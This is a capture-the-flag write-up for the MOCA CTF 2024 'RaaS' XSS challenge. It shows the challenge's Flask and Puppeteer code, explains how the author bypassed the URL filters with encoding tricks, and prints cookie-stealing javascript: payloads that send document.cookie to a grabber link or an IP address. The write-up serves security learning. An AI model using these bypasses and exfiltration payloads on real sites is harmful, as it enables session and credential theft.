MOCA CTF - QUALS 2024 | RaaS (Web, XSS)
Difficulty : Medium
I participated in the moca CTF quals and even though I only managed to solve one challenge only, I had alot of fun and would replay it next year.
The CTF featured 3 categories (Web, Pwn, Crypto) and was very difficult.
Described as a Warmup XSS task, this challenge is a one click XSS task, as it may seem easy at the surface this task but bypassing these filters will be a difficult challenge.
Let's first Take a look at the code.
We have two applications one for the actual web app and one for the bot.
App.py
from flask import Flask, request, render_template, Response, redirect,jsonify, make_response, g, redirect, send_file
import requests
import urllib.parse
import re
app = Flask(__name__)
@app.route('/', methods=['GET'])
def main_page():
return render_template('home.html')
def check_url(url):
url = url.lower()
pattern = r'[()=$`]'
if bool(re.search(pattern, url, re.IGNORECASE | re.DOTALL)):
return False
if url.startswith("j") or "javascript" in url:
return False
return True
def check_title(title):
if "<" in title or ">" in title:
return False
return True
@app.route('/redirectTo', methods=['GET'])
def redirect_to():
url = request.args.get("url")
title = request.args.get("title")
default_url = "https://www.youtube.com/watch?v=xvFZjo5PgG0&ab_channel=Duran"
if not isinstance(title,str) or not isinstance(url,str):
return render_template('redirect.html',url=default_url, title="title")
url = url.strip()
if not check_url(url) or not check_title(title):
return render_template("redirect.html", title=title, url=default_url)
return render_template('redirect.html',url=url, title=title)
@app.route('/redirectAdmin', methods=['GET'])
def redirect_admin():
default_url = "https://www.youtube.com/watch?v=xvFZjo5PgG0&ab_channel=Duran"
admin_bot = "http://raas-admin:3000/report_to_admin"
url = request.args.get("url")
title = request.args.get("title")
if not isinstance(title,str) or not isinstance(url,str):
requests.post(admin_bot, json={"url":default_url, "title":"title"})
return jsonify({"message":"done"}), 201
url = url.strip()
if not check_url(url) or not check_title(title):
requests.post(admin_bot, json={"url":default_url, "title":"title"})
return jsonify({"message":"done"}), 201
requests.post(admin_bot, json={"url":url, "title":title})
return jsonify({"message":"done"}), 201
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000)
App.js
const express = require('express');
const puppeteer = require('puppeteer');
const app = express();
app.use(express.json());
const port = 3000;
app.post('/report_to_admin', async (req, res) => {
try {
// Launch Puppeteer
const browser = await puppeteer.launch({
headless: true,
args: ['--no-sandbox']
}
);
const page = await browser.newPage();
// Visit Backend
const flag_cookie = {
name: 'flag',
value: process.env.FLAG,
path:'/',
domain: 'raas-backend', // Adjust this to match the domain
httpOnly: false,
secure: false,
sameSite: 'Strict'
};
await page.setCookie(flag_cookie)
const url = `http://raas-backend:5000/redirectTo?url=${encodeURIComponent(req.body.url)}&title=${encodeURIComponent(req.body.title)}`;
console.log(url)
await page.goto(url);
// Click the redirect button
await page.waitForSelector('#url');
await page.click('#url');
await new Promise(r => setTimeout(r, 1000));
// Close the browser
await browser.close();
res.status(201).send('Done');
} catch (error) {
console.error('Error', error);
res.status(500).send('Something went wrong');
}
});
app.listen(port, () => {
console.log(`Admin is running at http://localhost:${port}`);
});
So the challenge consist of stealing the cookie from the admin by sending a malicious one click xss payload.
Thank god the writers provided us with a way to test our payload.
There are ways to exploit this but the sure way is to inject a Javascript Uri into the button, like this.
<a href="Javascript:Alert(1)" >
Let's first see the filters :
def check_url(url):
url = url.lower()
pattern = r'[()=$`]'
if bool(re.search(pattern, url, re.IGNORECASE | re.DOTALL)):
return False
if url.startswith("j") or "javascript" in url:
return False
return True
From this code we would need three conditions :
It needs to not start with j
The payloads needs to not contain the string javascript
it needs to not contains (),=,$ and `` (we will return to the last one later)
The payload that we will use will be:
javascript:location=<Grabber Link>/'+document.cookie;
That payload uses as little special characters as possible and is pretty short.
to bypass the first condition i followed from this writeup, I bypassed it with %19javascript
.
for the second filter i split the javascript string into two using a Tab character javasc%09ript
and for the last filter i used the url encoded value for '='.
so at last our payload would be :
javasc ript:location%3D'<grabber-link>/'+document.cookie;
if we url encode it would become :
%19javasc%09ript%3Alocation%253D%27<grabber-link>%2F%27%2Bdocument%2Ecookie%3B
Now we feed the payload through Burpsuite and we receive the flag.

Alternatives that didn't work :
at first I tried to use Named entities to bypass the filters, the payload would look like this :
javasc\
ript:location\=/\\<Grabber-Link>/+document.cookie
even though it passed the filters, it wouldn't work since the & would be filtered and passed as & so it would look like this:
another payload that I think was fixed is to pass a HTML script tag in base64 and decrypt it :
javasc ript:atob`PHNjcmlwdD52YXIgaT1uZXcgSW1hZ2UoKTsgaS5zcmM9Imh0dHA6Ly8xMC44MC4wLjkwLz9jb29raWU9IitidG9hKGRvY3VtZW50LmNvb2tpZSk7PC9zY3JpcHQ`;
that wouldn't work since the backquotes were filtered, i didn't try much more with this payload but it could've worked if we managed to replace the backquotes with something else.
Overall it was a good CTF, it was quite challenging, the challenges were creative and staff was friendly. Only problem was the architecture that was hosted on PWNX that would crash and people would reset the tasks without a vote always changing the IP address of the challenge while working on it.
Overall 7/10 .
Last updated